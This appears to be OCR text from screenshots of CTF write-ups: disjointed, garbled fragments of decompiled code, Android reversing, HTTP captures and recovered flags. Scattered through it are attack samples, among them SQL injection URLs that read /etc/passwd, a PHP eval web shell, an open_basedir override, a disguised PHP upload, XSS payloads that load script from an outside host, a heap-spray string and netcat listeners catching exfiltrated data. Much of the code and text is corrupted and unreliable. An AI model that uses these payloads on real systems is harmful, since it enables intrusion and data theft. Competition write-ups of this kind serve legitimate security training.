$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";

return parent::update($this-~table, 'profile', $new_profile, $wEr§)'im
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|_int6hs _ fFastcall sub_406AAB(pid_t pid)
<
unsigned int vi; // ebx@1
char xu2; /7 rax@|
char =u3; // STO8_8E3
char u5; // [sp+10h] [bp-10F8h]E1
__inté4 __ebx; // [sp+38h] [bp-18D0h]E1
char name; // [sp+FOh] [bp-1818h]@1
__intés u8; // [sp+10F8h] [bp-1Bh]@1

vl = pid;

uil = xMK_FP(__FS, 4BLL);

get_regs(pid, (__int64)&us);

Sub_4BBE7B(pid,  ebx, (__int6h)&nane, 0x1006LL, 8);
v2 = realpath(&nane, BLL);

if (v2 )

if ( memcmp(uz, “/home/warmup/flag”, Ox12ull) )

v3 = u2;
__ebx = OLL;

Sub_KBEDFO(u1, (_ int64)&us);
v2 = v3;

>
free(u?);

y
return MK _FP(_FS_ , 4OLL) ~ ui; p—
y cctoms
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shell@mako: /data/data/com.example.plane/shared_prefs # cat Cocos2dxPrefsFile.x>
<2xml version='1.8' encoding='utf-8' standalone='yes' ?>

<map>
<string name="DATA">MGNOZNtDMGNVUZIKXOFURHIVIZO9ZntDMGNVUZIKXOFURHIVMWR FRZdZ99+</string>
<int name="HighestScore" value="900" />

“true” />

<boolean name="isHavesaveFilexml" value=
</map> .
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setbuf(stderr, BLL);

printf("Input your name : *, OLL);
read(s, &iur, Bx2Cull); 11 vurE|E)onzh, readffoxze, TTEEvE (W) seed (M)
s Bbuf);

printf(“Hello %s\n?
srand(seed);

puts(

puts("| Velcome to online number guessing game.
puts(“| Win 100 tines and you'll be revarded
puts( Range : [1, 100000

puts(
while ( (signed int)us <= 99 ) |
<

printf("Round %d\n", vo);

u9 = rand(); %a6381cc

srand(u0); 14 srand(0xa63sice)

printf("Init randon seed OK. Now guess

__is0c99_scanf(4197793LL, &v2);

Ui = rand() % 0x1869Fu + 13

if vkt v2 )

<

puts(“Wrong? Try again later");
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3330958900601 3467999992482224651065701982538765126835131042831982061779
9621317049501 3907100828446345763517995845584 380151523 14343269415827055
19187811656693197581633372222319183110602447837087528526482568230559679
718779202085469840901695056787877977516324312112; 755280365
1537150230004488901656197593539427632460975059:

;szgsasummimzns:;mmmmsngms?mm
+ localhost git:(master) x ||
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Listening on [0.0.0.0] (family @, port 6378)

Connection from [202.120.7.201] port 6378 [tcp/*] accepted (family 2, sport 51108)

OPTIONS / HTTP/1.1

Access-Control-Request-Method: POST

Origin: http://127.0.0.1:8888

User-Agent: Mozilla/5.@ @CTF by md5_salt

Referer: http://127.0.0.1:8888/admin/show.php?secret=1zfbbaazbzbbbzzzzbbaabbwg¥3Cscript¥3Evar+debug¥3Dfal se¥3B%3C¥2Fscript¥3E
Access-Control-Request-Headers: X-Request-With, Content-Type

Accept: */*

Connection: Keep-Alive

Accept-Encoding: gzip
Accept-Language: en-US,* m
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014/12/07 19:44  <DIR>
8 X 598,418 F
s 1 H 2v.410,456.5% AT

:\MP3Stego_i_i_18\MP3Stego>decode. exe K —P sctf Di\mpIstego

P3StegoEncoder 1.1.17

e README file for copyright info

[nput File = *D:\np3stego’ output File = ’Di\mpIstego.pem

i11 attempt to extract hidden information. Output: D:\mp3stego.txt

he bit strean file Di\npdstego is a BINARY file

DR: s=FFF, id=1, 1-3, ep-off, br="

EG-1, layer=III, tot hitrate
e0, shlin=32.. jshd=32, ch=2

rane 9381dvy Slursframe = 383.5937 b/snp = 2.663 br = 127.864 kbps
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publac final String b(+

[

StringBuilder stringbuilder = (new StringBuilder(String. valueOf (a. §0)))). append(a.0()) ¢

b _tap = at

Stringfuslder stringbuilderl = stringbuilder. append(con. 1sce. local.b.v()). append(a. 1 ). append(a.n()) 14

b _tmpl = it

Stringhuilder stringbuilder? = stringbuilderl. append(can. isce. Local.b.v()). append(a, b()). append(a. ¢ (). append(a.n()).

b _tap? = ail
Stringfuslder stringbuilderd = stringbuilder?. append(con. 1sce. local. b.v()). append(a. 10)). append(a.n()). append(a. 0 ()
b _tmpd =

String s = stringbuilder3. append(con. isce. local-b.v()). toString ()
StringBuilder stringbuilderd = (new StringBuilder (String. valusOf (a.0()))). append(a.n())

b _tmpd = ais
StringBuilder stringbuilder§ = stringbuilderd. append(con. isce. local.b. v()). append(a.e()). append(a.n()) v
b _tuph = a2l

StringBuilder stringbuilders

rangbualder5. append (con. asce. local. b.w()). append (a. a()). append (a. 1)) . append (a. 7)) append (a. o (). append (a. g (). append (a. 3
£0) 8

b _tnpf = aid
String sl = stringbuilderé. append(con. iscc. local.b.v()). toString () 4
Stringhuslder stringbuilder? = (new StrangBuilder (String.valusOf (a.t()))). append(a.g()). append(a. c()). appenda. 10)) ¢

b _tmpl = ait
Stringhuilder stringbuilder8 = stringbuilderf. append(can. isce. local.b.v()). append(a.z()). append(a.n()). append(a. a())
b _tups = ail
Stringhuslder stringbuilderd = stringbuilderS. append(con. 1sce. Local. b.w()). append(a.h(}). append(a. c (). append(a. e ().
b _twpd = a4

String s2 = stringbuilderd. append(con, isce. Local.b.v()). taString ()¢
Stringfnilder stringbuilderld = (nev Stringfuilder (String. valueOf (a.10))). append(a. (). append(a. k(). append(a. o))
b _tapld = a:t

String 3 = stringbuilder10. append con. isce. Local.b. v()) . append(a. d()) . append (a.p()). append(a. a())_zppend (a. = 0. appe
retumn (new Stringhuilder (String. valusOf (s))). append(st). append(s2). append (s3). toString () | écto 1

COMm
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>>> from baseb4 import *

>>> b32decode(b64decode( ' RIFZVELNWLZHUTIETU4yQ@OdVMIRNTkpXSU@ZzREAOUQAHWKNETUSKVK1ZMIR]
U1JVSU@YRU10Q@RHNUNBPTOOPQ="))
'414354467B57656(636F6D655F 746F5F41435446323031355F414B415F4D49534343544GR5ALARAC )
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80v ——public function update($table, $key, $value, $where) {
81 ————4$sql = "UPDATE $table SET $key = '$value' WHERE $where";
82 return mysql_query($sql);

83 } Ectoss
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GET http://10.24.13.37/files,

HTTP/1.1 200 OK

Date: Sun, 07 Dec 2014 09:58:46 GMT

Server: Apache/2.2.15 (CentOS)

Last-Modified: Fri, 05 Dec 2014 17:28:43 GMT

ETag: "a03e4-1d-5097b68936582"
ccept-Ranges: bytes

Content-Length: 29

Connection: close

Content-Type: text/plain; charset=UTF-8

SCTF{FuNny_Pene7ration_Test}

N mepE
SecPulse
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n|[ > sere nov edi,eax

Ac|| - on o6 T e

HE|| L 59 o eex

AF|| 5 sBo2 nov eax,duard ptr ds:[edx]
r21|| . oraFos inul eax,duard ptr ds:fesi]
roul| L s107 add duard pte ds:[edi],eax
r26|[ . s3c2 ou add edx, oxh
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>>> hex(int(s, 2))[2:-1].decode('hex')
'5}]GAS~HST1C57Z " #D)J~1gIj4xBR8*} ; <m; d0Q : ENNKRResc( prE@EHa |
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localEditor.putint (paranString, paranint):
localEditor.comit();

¥

public static void SSESEiBGRAZKEY (String pasamStringl, String paramString)
{
SharedPreterences.Editor localfdicor = ((Activicy) sContext) .gerShsredpreserences ("CoroszdxPrasarile, 0).edic(

localEditor.putScring (paranStringl, paramString2):
localEditor.comit(); —

) Jeele}
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Plays a game."""

print('Hey hey, you you, I wanna play a game! :)')

reply = (input)()

if reply not in ('Sure!', 'Okay!', 'With pleasure. :)')
raise WeBreakup('You bad guy :(')

scores = tuple(SCORE_INITIAL for i in range(2))

random. seed(int(time.time() * 1e5))

recently_is_beaten = []

print('Well, we play a simple dice game! :=omssm (bobao3socn)
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Server: Apache
Content-Length: 8

POST /C2CUCMNTQa1ErQTAgznygntiGuZy/ HTTP/1.1
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Connection: Keep-Alive
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User-Agent: Mozilla/4.® (compatible; MSIE 6.1; Windows NT)
Content-Length: 1803345
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L XL SRR BNARIE Boy  eax, OQuard BESSIAS
_text: 0804880 nov  edx, duord 8655748 5 EN:HEITEAE 0x39

- text:0804AB85 nov  duord_SSFEB70, GiCODONISH

_text:0804A890 nov  duord S1FEGED, eax

_text:0804AEOS nou  duord S1FEGEN, edx

_text: 68844898 nov dword_SSFES78, A:CHBHAILI

_text:B884ABAS nou duord_SSFES78, ALCENNNISH

_text:08ONASAF nov  eax, B

-text:08O4ASEH nov  edx, 8

_text:0804ASED mov  al, byte ptr dword_SFEGER

_text :080NASBE mov  d1, byte ptr dword S1FEGEM

_text:08OMASCH mou  eax, OFF_B1AA170[eaxxh]

_text:080NASCE mov a1, [eaxvedx]

text : 0804ABCE mov  byte ptr duord SFESES, al ; ICRT 2S5 EE (A oxaoi TS B
_text:6884A8D3 nov dword_SSFEB78, ALCABNGIGH

_text:0804ASDD nov  eax, B

_text:08ONASE2 nov  edx, 8

_text:0BONASE7 moy  al, byte ptr duord_S1FEGEB

_text : 0BONASEC mou  dl, byte ptr duord S1FEGE4+

text:08D4ABF2 W0V eax, OFF B1AA178[eaxwi]
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rootikali:/usr/iscc# python guess.py

[+] Opening connection to 101.260.187.112 on port 9801: Done

[*] Switching to interactive mode

§

Correct!

Congratz! Now here is what you want:flag{1a28e5ea63246745db921924 f3c f4b}
[*] Got EOF while reading in interactive
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The sequence starts with: 1,1,2,1,4,6,4,17,32,44,60,70

(first term is for n = 1)

n = 1141, Answer:

[+] Oescription: “Shapesiof height-balanced AVL trees with n nodes,”

[+] Sequence value: 1,1,2,1,4,6,4,17,32,43,68,70

(1] Answer not found, please input something...

>>>> 11132661955854889350005467249642765426177071685387033642723089451609516925749058
6545298871021374903591965330608585826987656236389085356230816962419871469473251656071
2219217326066392381363556112033965761180709514464991032483181530654518311304600807604
9390924362384656321951314350030182005494597410481538341030867734852096

[x] ####2 Round 50

Description: a(n) = number of partitions of n (the partition numbers) modulo 16000008
07

The sequence starts with: 1,1,2,3,5,7,11,15,22,38,42,56,77

(first term is for n = B)

n = 23301, Answel
[+] Descriptio
REOARO7"

[+] Sequence valie: 1,1,2,3,5,7,12,15,22,30,42,56, 77

[1] No result found, please choose one to continue,

[1] Answer not found, please input something...

555> 242009905

(%] #£222 Round 51 #eass

Congratulations! Here is your flag: BCTF{Y@u_hdve mdar_7ermz_than_205}

(n):= number; of partitions of'n (the partition hunbers) wodulo 198
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B HERE

INT <] = e SOl XSS Encryption- Encoding: Otherr

& Load URL hitpi//hackme.sctixctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cco/shell php.
4 splituRL

b Execute

[¥] Enable Post data  [7] Enable Referrer.

Post data 1=file_put_contents(" userini","open_basedir=/");

3 (bobao360.cn )
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€' | [ 121.40.50.146/detail.php?id=-1%27%20union%20select%20load_fila(%27/etc/passwd%27)—+

Homework System Sign Out

‘Your Homework

foot:x0-0:ro0t:/root /bin/bash daemonx 1.1:daemon ust/sbin:/ust/sbin/nologin bin'x2:2-bin/bin-/usr/sbin/nologin sys:x 3:3:sys/dev/ust/sbin/nologin
sync:x:4'66534 sync:/bin:/bin/sync games:x 5 60°games/usr/games /usr/sbininologin man:x'6:12:man:/var/cache/man: ust/sbin/nologin

Ip:x.7:7 IpIvarispoolipd:/ust/sbin/nologin mail x &:8:mail /varimail /usr/sbin/nologin news x'9-9news var/spool/news /usr/sbin/nologin

Uticpx:10:10:uucp /var/spooliuuc:/usr/sbin/nologin proxy:x:13-13:proxy bin:/usr/sbin/nologin www-data:x:33:33 www-data:/var www:/usr/sbin/nologin
backup:x34:34:backup /var/backups-/ust/sbin/mologin fistx 38:38 Malling List Manager varlist fust/sbin/nologin irc:x-35-39-Ircd-var/run/ircd-/usr/sbin/nologin
gnats:x:41:41 Gnats Bug-Reporting System (admin) /var/lib/gnats-/usr/sbin/nologin nobody x 65634:65534:nobody:/nonexistent usr/sbin/nologin

fibuuid x 100:101: /var/lib/ibuuid. syslog:x:101:104:/home/syslog:/bin/faise messagebus x 102-105- /var/run/dbus /bin/false

ntp:x 103109 /home/nip:jbin/false sshd x 104:65534" Avar/run/sshd /usr/sbin/nologin mysql-x 105:114:MySQL Server... /nonexistent /bin/false

( bobao360.cn )
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[root@InkSecLinodelP:~# nc -lvwp 3000
Listening on [0.0.0.0] (family 0, port 3060)

Connection from [220.181.136.229] port 8000 [tcp/*] accepted (family 2, sport 55533)
POST / WTTP/1.0

Host: :3000

Content-Length: 120

User-Agent: SAE/fetchurl-snlzwéymiz Python-urllib/2.7

Connection: close

Accept-Encoding: identity

Content-Type: oppLication/x-ww-form-urlencoded

d3naS SweSwgX19pbl 031 Buchks THdzZ2kucHJLCBLomezL nSLCB1crcz L S Yywgc2VBdG1uZ3MucHKS TFOFaNSpAFF LIS ywgc2VOdGLUZIMIcH §
"

IrootelnkSect inodeJPi~# echo d3NnaSSweSugX19pbmLOX18ucHKSTHZZ2kucHLJLCB1cmxzL nBSL (B LomczLnBSYywgc2VOdSLuZ MicHKSTFOf aWSpdF I LRG0 RZ 2R S0, 360 -
gLy S Sipy, MLy, wrls gy GALSIpYG, SEECINg ) - AR, SEECIAgE prcrootBTnk ecl inodeIP s
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xdsec-cms-12023458.xdctf.wir
xdsec-cms-12023458.xdctf.win/ index php/user/file/ 12

Congratulation, this is the [XDSEC-CMS] flag 2
XDCTF-{i32mX4WK1gwEE9IS90xd2}

hint: Yy -LFEULSE
admin url is /th3r315admln.php X =
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<?php feval ($_POST[’ test233'1) ;2>
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ellsycsec.coms

I/
18 mmpE | aneses @ s | sam B s

[T <] = sq xss Encryption Encoding: Other-

@ Load URL  hitpi//sycshell.sycsec.com:61180/W0CalN1CaiBuDa/read.phpZpass=9%0b.1e18&f=/tmp/hhh
% splitURL

2 Exeaute

[9] Enable Post data ~ [[] Enable Referrer

Posdos EETTNEINS

<Iwhp
show_source (_FILE_);

fpass ©$_GET["pass’];

$a = “syclover”

strlen(fpass) > 15 ? die("Don’t Hack me!”) : “*;

if(lis numeric(fpass) || preg_match( /0(x)7|=|\¢\s] O\ [\d). #8/2°, $pass)) [
diel error’ ),

)

if(fpass = 1 8&  $alfpass] = "s"){
§file = isset($GET['£'1) ? $GETLF 1. .php" : “index.php’;

@include $file;

i ( bobao.350.cn )
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#) shutting down at 23:27:00

byscuBeskiop> %22 ( bobao.360.n )
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w3l |= 8x69u;
va2 |= ox61u;
33 |= Ox6Eu;
uB = *f'
9 = ‘1%
vio
vit
viz
viz
vo

< BR1E; +ei )

e =
vin
>
if ( duord_uc8is
<
For (= 0 § < udhg e )
*(&Text + i) = x(RuB +i);

(017 + )5

i)

((void (*)(uo
3

v1 = ug;
Sub_W386AE(Bsavedrens, Bduord 43E320);

))sub_439086) ()3

return sub_439086((unsigned int)gsavedreqs ~

35, v1);
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1[[e, e, o, o, 0, 0, 9, 9, 9, 6], [0, @, @, 0, 0, 0, 9, 0, 0, 6], [0, @, O,
-Mext round--
Congratulations! hetf{Congra7ula7ion:
Traceback (wost recent call last):
File "C:\Users\yilin.uyl\workspace\CTF\lanlan\PPP.
nun_to_zero, data = clac_zero()
ile “C:\Users\yilin.wyl\workspace\CTF\lanlan\PeP.p
zero = eval (data) [01[6]-1
File "<string>”, line 1
Cangratulations! hetF{Cangra7ula7ion:

", line 123, in <module

ne 80, in clac zer
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Welcome

User imformation

+ Username  admin

XDCTF{eDa345cadaba0a307ades

Xdsec team!

I 1 SECPULSE
"7 -5 = i 1 -

<
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if ( key len <
¢
key_content = operator new[](key len);
Read(2y18, key content, key len 2.
if ( CruptbecodelbieciEx(0x10001u, 0x2B, &pbEncoded, 0x260u, 0, 0, 8, &pchSiructinfo)
<

128 )

Localflloc(®, pebStructinfo);
if ( CryptDecodebjectEx(0x10001u, 0x2B, &pbEncoded, 0x260u, 0, O, US, &pchStructinfo)
<

if ( CryptAcquireContexti(
2pnProv,
0
L*iicrosoft Enhanced Cryptographic Provider ui.e"
PROU_RSA_FULL,
CRYPT_UERTFYCONTEXT) )

<
if ( CryptimportKey(phProv, us, pebstructinfo, 8, 8, &phkey)
<
pdubatalen = 4;
CryptGetKeyParan(phkey, KP_KEYLEN, pbbata, &pdudatalen, B)
*phbata >>= 33
16 = *phdata;
if ( Cryptdecrypt(phkey, 8, 1, 0, key content, &u16)
<
nane_des_encrypted = uvi1 + 1963
v7 = 12;
while ( *key content == nane_des_encrypted
<
Key_content = key_content + 4;
me_des_encrypted;
if (ve)
<
v - 13
goto LABEL_12;
>
>
>
>
>

@i ( bobao.360.cn )
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[romumermnnq B )

$ openssl rsautl -decrypt -in level2. passwd. enc - inkey private2.pem -out /tmp/
passwd2 8& cat /tmp/passwd2 |
[fA350RI11TLoN_Att1Ck_cLOSE_PrI8e_dacTors 36024815 ( bobao.360.)
Lo @l bertehang </ T
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1v <?php

2 ——require_once('class.php');

3 iT($_SESSION['username']l == null) {

4 die('Login First');-

50 ——F

6v iT($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
7

8 —————$username = $_SESSION['username'l;

9 if(!preg_match('/~\d{11}$/', $_POST['phone'l))

10 die('Invalid phone');

11

12 if(!preg_match('/~[_a-zA-20-91{1,10}@[_a-zA-Z0-9]{1,10}\. [_a-zA-20-9]1{1,10}5/', $_POST['email']))
13 die('Invalid email');

14 —

15 if(preg_match('/[*a-zA-Z0-9_1/', $_POST['nickname'l) || strlen($_POST['nickname']) > 10)
16 die('Invalid nickname');

v

18 ———¢$file = $_FILES['photo'];

19 if($file['size'] < 5 or $file['size'] > 1000000)

20 die('Photo size error');

21

22 —— ——move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

23 ————¢$profile['phone'] = $_POST['phone'l;

24 ————s$profile['email’'] = $_POST['email'l;

25 ————¢profile['nickname'] = $_POST['nickname'];

26 ————¢$profile['photo'] = 'upload/' . md5($file['name']);

27

28 ———$user-~update_profile($username, serialize($profile));

29 ————echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

17 D ——





OEBPS/Images/20140621115236124.jpg
ExiffEiR

BiKlofter® F exif{E AR TFRxsSIRE | WooYun-2012-09110 |

P AREXIRE xss paylod. S EEE A Buss payload i TIVioo Y un 2~ F ™
SR 2 A RREST
Wt ooyun orgbugsiv... 2012-07-01 + - EIEH






OEBPS/Images/d838597be312c12e295c8ba414981150.jpg





OEBPS/Images/2016031909084934.jpg
-rodataz083FFC6 aljavalangStr_u DCB “(Ljava/lang/String:FF)Ljava/lang/Strin
-rodata:@BIFFCRG 3 DATA XREF: getSt
-rodata:8BIFFCR6 texi
-rodata:B03FFCAF a0rgCocos2dxL_2 DCB “org/cocos2dx/1ib/!
-rodata: 8BIFFCAF

.8
ngUithEllipsisni(char consts,Float,Float)+207o

DATA XREF: ShoubialogNI(char consts,char constx)+12fo

-rodata: 003FFCAF : .text:off_1EFBDOTO .

-rodataz003FFCCF ashowdialog  DGB “showbialog”,® 3 DATA XREF: shoubialogJNI(char consts,char const)+14To
-rodata:003FFCCF : .text:off_1EFEDATO

-r0dataz003FFCDA ashowedittextdi DCB “shouEditTextdialog”,o

-rodata:003FFCDA 3 DATA XREF: showEditTextDialogdWi(char consts,char cansts,int,int,int,i

-rodatazos3FFCDA _text:off_1EFCACTo

-rodataz083FFCED aljavalangStr_5 DCB “(Ljava/lang/String;Ljava/lang/String;II11)u",8
-rodata:@BIFFCED 3 DATA XREF: shouEditTextDialogNI(char consts,char consts,int,int,int,i
-rodata:@8IFFCED 3 -textzoff_1EFC7070

-rodataz083FFD19 aTerminateproce DCB “terminateProcess™,d

-rodata:@eaFFD19 3 DATA XREF: terminateProcessJNI(void)+ATo

-rodata:@eaFFD19 3 -text:off_1EFCACTO

_rodata:0n3FFD2A aGetcocos2dxpac DCB “getCocos2dxPackageNane™,d
-rodat.

BIFFD2A 3 DATA XREF: getPackageManeJNI(void)+18T0
Vadata: 003FFD20 N ECtO»F
_rodata:803FFD41 aljavalangStr 6 DCB "()Ljava/lang/String:",8
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<TextView android:id="8id/dividerl” android:visibility="gone" android:layout_width="wrap_content”
android:layout_height="wrap_content” android:text="Bstring/d8” />

{TextView android:id="#id/divider3” android:visibility="zon=" android:layout_widt
android:layout_height="irap_content” android:text="Bstring/n” />4

wrap_content”
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package com.example.plane;
import android.os.Bundle;

public class FirstTest
extends Cocoszdehctivicy
t
static
{
System. loadLibrary("cocos2depp™) ;
j

protected void onCreate (Bundle parazsundle)
{
super . onCreate (paranBundle!
nev afthis, "flag”) .d("YnFeaNSHYRERY(:
new afthis, "CocoszdxPrefaFile™).d(™No™)

j

public CocosdaxGLSurfaceView onCreateView()

{
Cocos2auCLSurfaceView localCocos2duGLSurfaceView = new Cocos2dxCLS:
new afthis, "CocosddxPrefsFile”).d("™E");
localCocos2axGlsurtaceView. setECLContigChooser (3, 6, 5, 0, 15, 9);
retumn localCocos2axGlsurfaceView;
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http://ctf.sobug.com/hack game/8f0784928387928a/search.php «
?word=lanlan%00'%20union%20select%201,2,3,4%23 .
&tongpeifu=0 «

&sgltongpei= «
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IrootInkSecLinodelP:~# nc -lvwp 3000
Listening on [0.0.0.0] (family 0, port 8000)

Connection fron [220.181.136.229] port 8000 [tcp/*] accepted (family 2, sport 15179)
POST / HTTP/1.0

Host: 13000

Content-Length: 76

User-Agent : SAE/Fetchurl-Snlzntyniz Python-url1ib/2.7

Comnection: close

Accept-Encoding: identity

Content-Type: application/x-wiw-form-urlencoded

(bX120XR1LCB 625N cuSHF tbCNgbNFU NG L5 CBZdGFOOMNSTGFUCCHGONSKZXgudINoa0en

A
Iroot8TnkSectinodep:-# echo *bXI=aKRLLCH b2SaaNcuekF£hCvgakSKZigudsNnaSwgcSRhdS L CRGOZ R 6 iotmd 3605EAY -4
phas pagosi i i Mo Mrs i oS S R T
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+ Value 4 Domain 4+ Path ¢ Expires

5:137:"-1 union select 1,table_name f... | 4 ] 3 /db... Sun Mar 29 201
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public final String a)t
i
StringBulder stringbuilder = (new StringBuslder (String. valueOf (a.t()))). append(a. g ). append(a. 2()). append(a. 0 () ;
b _twp = a
StringBuilder stringbuilder! = stringbuilder. append(con. isce. local.b.u()). append(a.b()). append(a.a()). append(a. e () .1
b _tmpl = a.b
String s = stringbuilderl. append(con. 1sce. local. b.u()). toStrang )1
StringBuilder stringbuilder? = (new StringBuilder (String.valueOf (a.1()))). append(a. q()). append(a. d()). append(a. k() ¢
b _tmp2 = 2.t
String sl =
stringbuilder?. append(con. 1sce. Local. b, u()). append(a. p()). append(a. ¢ ()). append(a. d()) . append(a. ¢ (). append(a. 1()). append(a. o)) append(a. 1
(ar (). toString ()

return (new Stringfuilder (String.valusOf (s))). append(s1) . toString () . L

om
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http://ctf.sobug.com/hack game/8f0784928387928a/search.php
?word=lanlan%00'%20union%20select%201,skey,3,4 from secret
= &

&tongpeifu=0 «

&sgltongpei= +
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location : datatexthtmlhtmi,<script%20  « HTTP_REFERER :
Sre=http://xssnow com/pWE></script> « HTTP_USER_ AGENT : Mozlia/5.0 (Wind
toplocation: http://121.41.37.11:25045/  ows NT 6.1; WOWBA, v:33.0) Gecko/20.
get.pho?user=V1ewAid=51357 100101 Firefow/33.0

‘cookle : SLnewses=1; WPTLNG=1 « REMOTE ADDR {21875/123.186
opener
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root@iZso]s05gmus:~# cd /alldata/www/detault/
root@iz28j309gmuz: /alidata/ww/default# cat index.php
2php
header("Locatior
7>
root@iz281309gmuz:/alidata/wmw/default# [

Ftp://133.130.99.230/index.php" ) ;
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{ € ) @ modx.sycsec.com/index-ajax.php ¢
Aot

INT [ = @ saL+ xssr Encryption~ Encoding~ Other~
4 Load URL http:/modx.sycsec.com/index-ajax.php
% SplitURL
» Execute
Enable Postdata  Enable Referrer
Post data

q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60 @ FILE:flag%2ffl

SCTF{0day_15_s0_good} {"res":"

There were no search results. Please try using more general terms to get more results.
10,0" "ctgnm’ "y
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Mongodbto XSS O =

Orange Tsai = 025275 e

& EEaE
Mira—assTESFaasad: Srag--

HiXSSyou*_*

http //806bddce seclover com/news php?newsid=19998
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@ losd URL  <7php
ifisset(s_GETI¥]) &8 preg_match("/ziplphar/".$_GETT]Sarray))l

& selitURL die(*SycWaf: Don't Hak me!");

Y Execute )

7] Enable Post data [ | Enable Referrer

IE0ZLAEF (boban380.cr )
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_oa_guard acquire
" oxa_guard_release
‘android:AndroidRuntime:getINIEnv{void)
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Params | Headers | Hex

Headers | Hex | HTML [ Render

POST /fileupload.php HITE/L.1

Host: 55e07875.seclover.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.11; rv:d4.0)
Gecko/20100101 Firefox/44.0

Accept :

text/html,application/xhtml+xml,application/xm L9, %/%;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://55e07875.seclover.com/fileupload.php

connection: keep-alive|

Content-Type: Multipart/forn-data;

boundary:
Content-Length: 1

-4151114591751405957321569870

- - --4151114591751405957321569870
Content-Dispositiony form-data; name="file"; filename="heimao.php"

Content-Type: image/fong

9909 Tr1rOOOOphim > F( €iNG® & 90 9HPsrhotoshop
3,08BIM 8BIN: 99 @ @ YYOB-9& DICC_PROFILE 4appl mntrRGB XYZ

acspAPPLAPPLY@Q-appl descPbdscm@ cprt @#wipt € rX¥Z gXYZ bXYZ 0 rTRC

D aarg P vcgt pOndin @>chad €,mmod (bTRC D gTRC D aabg P aagg P

descDisplaymluc” hrHR €koKR €nbNo €id @huHU @csCz daDK ukUA 2ar NitIT brc¥

Date: Honm, 20 Feb 2016 07:59:37 GHT
Server: Apache/2.2.22 (Debian)
X-Povered-By: PHP/5.4.45-0+deb7u2
vary: Accept-Encoding
Content-Length: 346

Keep-alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<html>

<body>

<form action="fileupload.php" method="post"
enctype="multipart/form-data">

Please Give Me A Picture:<br>

<input type='file" name="file" id="file" />

<input type="submit' name="submit" value="Submit" />
</form>

10 minutes of deleted file upload once<br>
<iframe sre='log_del.txt'></iframe>
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PHP Variables

Variable Value
_REQUEST["act"] phpinfo
_GET["act"] phpinfo
_COOKIE["flag"] Octf{httponly_sometimes_not_so_secure}
_COOKIE["admin"] salt_is_admin
_SERVER["USER"] www-data
_SERVER["HOME"] Iar/www
_SERVER["FCGI_ROLE"] RESPONDER
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The resource could not be found.
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Connection: keep-alive
Content-Length: 3042

Content-Type: text/htnl

Date: Sat, 14 Jun 2014 £3:25:55 GMT
PassWord: dShCu7hl

Server: Microsoft-IIS/7.5

Via: 1.8 wn. isclab.org (squid/3.1.10)
X-Cache: MISS From wan.isclab.org
X-Cache-Lookup: MISS From www.isclab.org:80
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In [14]:

In [18]:
Out[18]:

In [19]:
Out[19]:

In [20]:
0ut[20]:

In [21]:

for i in range(len(s)/2):
resultymchr(int(s[2*i+1]+s[2*

i1+72)

: result
: “waxmyni Fjeydhs’

: s2=result

: len(s2)
114

lenCkey)
13
len(s)
28

key
"nbredpassword*

keys="n"
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deno OPCACHE_x86.bt static
- php7-opcache-override git:(; . = ) python system id_scraper.py http://121.40
56.146/phpinfo.php

PHP version : 7.0.7-2+donate.sury.org~trusty+1

zend Extension ID : API326151012,NTS

zend Bin ID : BIN_SIZEOF_CHAR4B388

IAssuming x86_64 architecture

systen ID : 39b805ad77428c42788140C6839e6201
- php7-opcache-override glt: (- ) 11
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/Type /hctiont

/5 [Tavascripts

5 G

unes cape (“KuBBECKUDaGaH 1 eIENUAIEENIA1 BORUEBANNTAINU0CO N uF AL
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garbage = unescape (*XuS090%:0090KuI0S0KU0O0K O0G0KO00Ku9000")

while (garbage.length < 0x100):

garbage += garbage; !
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void _ cdecl sub_B8OA4BCHO()

¢
initscr();
Sub_8B48EAD() ; " 1 1& 4i
signal(SIGALRN, (_sighandler_t)handler); //
signal('8', ( sighandler t)fnUp); " 1‘ &;}2

signal(*2’, (__sighandler_t)nbown);
signal(SIGTRAP, nullsub_1);
signal(SIGUSR1, (__sighandler_t)faup);
sighandier_t)Fnbown);
tyfnLeft);
“t)FnRight);
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Sauth = false; f (isset(s_COOKIE["auth"]))

Digital Gravity
Sauth = false: if (isset(S_COOKIE["auth’]) { Sauth = unserialize(s_C
OOKIE["auth]). Stish = §_COOKIE["hsh"]. if Shish 1= hash("
i 0zetta net/ 2014-04-14 ~ - HEREE
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(vil>=0)

if ( ZullriteFile(FileHandle, 8, ©, ©, &loStatusBlock, flag, @xEu, @, 8) >= 0 )
ZuhlriteFile(FileHandle, ©, @, ©, &IoStatusBlock, &Buffer 8, 8);
ZuClose(FileHandle); 360% (ananJGO.cn )
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session.save_handler redis redis
session.save_path tcp://127.0.0.1:6379 tcp://127.0.0.1:6379
session.serialize_handler php php
session.upload_progress.cleanup |On On
session.upload_progress.enabled |On On
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[ Burp Suite Professional v1.6beta -

Burp Intruder Repeater Window Help
“J_Tamst [ Proxy | spider | scanner | intruder w Sequencer | Decoder [ Compater | Extender | options | Alrts |
1 =
| e | Gaws | [ <] >+ | Followredirection | Target:http:/ctt.sobug.com |4 || 2 |
Request Response
[Raw ] params | Hoacrs [ s | ffRaw | eaders [ en | L | Rencer
GET /hack_game/5220de5ab2aBeeTdfindex.php HTTP/1,1 8 HTTF/1.1 302 Moved Temporarily L
Host: ctf.sobug.com Cache-Control: no-store, no-cache, must-revalidate,
Proxy-Connection: keep-alive post-check=0, pre-check=0
Accept: Pragma: no-cache
textthtml, applicationdchtrl+xml, applicationfxml;g=0.9,imagefwebp,*/ Content-Type: text/htrl; charset=UTF-8
~0=0.8 Expires: Thu, 18 Nov 1881 08:52:00 GMT
User-Agent Mozllla/5.0 (Windows NT 6,1, WOWB4) Location: index.htrnl
AppleWebKit/a37,36 (KHTML, like Gecko) Chrome/38.0,2125,111 Server: MicrosoftIS/7,8
Safarifa37.36 H-Powered-By: PHP/A.5.11
Accept-Encoding: gzip,deflate, sdch Set-Cookie: check=0
Accept-Language: zh-CM,zh;g=0.8 A-Powered-By: ASP.INET
